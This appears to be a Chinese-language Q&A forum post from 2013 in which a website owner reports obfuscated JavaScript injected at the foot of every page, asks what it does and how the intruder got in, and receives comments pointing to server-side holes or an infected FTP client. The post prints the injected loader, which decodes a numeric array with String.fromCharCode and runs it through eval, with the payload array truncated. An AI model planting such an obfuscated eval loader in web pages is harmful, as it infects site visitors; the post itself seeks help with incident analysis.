【发布时间】:2013-03-22 04:21:06
【问题描述】:
我们的网站托管在一个颇受欢迎的 .NET 托管服务提供商上。所以我假设它是安全的,问题就在我们这边。如果我错了,请告诉我。
我收到了来自我的网站的投诉,称网站中有病毒。所以我去看看主页。
我注意到在每个页面的底部都有以下额外的脚本!
<script>
try{document["b"+"o"+"d"+"y"]*=document}
catch(dgsgsdg){zxc=12;ww=window;}
try{d=document["createElement"]("span");}
catch(agdsg){zxc=0;}
try{if(ww.document)window["doc"+"ument"]["body"]="zxc"}
catch(bawetawe){if(ww.document){v=window;
n=["9","9","41","3o","16","1e","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h" .... ];
//truncated for security reasons
h=2;s="";if(zxc){for(i=0;i-632!=0;i++){k=i;s+=String.fromCharCode(parseInt(n[i],12*2+2));}z=s;vl="val";if(ww.document)eval(z)}}}</script><script>try{window.document.body/=2}catch(dgsgsdg){zxc=12;ww=window;}if(zxc){try{f=document.createElement("div");}catch(agdsg){zxc=0;}try{document.body--;}catch(bawetawe){if(ww.document){v=window;
n=["9","9","41","3o","16","1e","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h" .... ];
//truncated for security reasons
h=2;s="";if(zxc){for(i=0;i-632!=0;i++){k=i;s+=String["fro"+"mC"+"harCode"]
(parseInt(n[i],12*2+1+1));}z=s;ww["eval"](s);}}}}
</script></body>
只有我知道密码,我发誓没有给任何人。密码是随机的,符合安全标准,我们大约一年更换一次密码,我知道不是很频繁,但我想还可以。
问题是:
这个脚本在做什么?如何对 n=["9".....] 数组进行逆向工程?我想找到踪迹。
我们以什么方式搞砸了,让黑客进来了?在这种情况下,除了 bruce force 我们的密码并走运之外,他还能以其他方式做到这一点吗?
【问题讨论】:
-
网站是否运行 CMS 或其他动态内容来生成包含 javascript 的页面?该服务器端代码中可能存在漏洞。
-
为了解决您当前的问题,您能否判断脚本是否来自数据库中写入每个页面的字段?还是它似乎嵌入在 ASPX 页面本身中?
-
好的。这意味着(除非您的登录是暴力破解)您的应用程序可能对其自己的目录具有写入权限,并且其中的一些安全漏洞被用来覆盖其自己的文件。无论如何,这将是我的猜测。
-
每页底部的 sn-p 通常表明您的 FTP 程序已被感染,需要删除/更改。
-
另外更改您的 FTP 密码以确保安全..
标签: javascript security hosting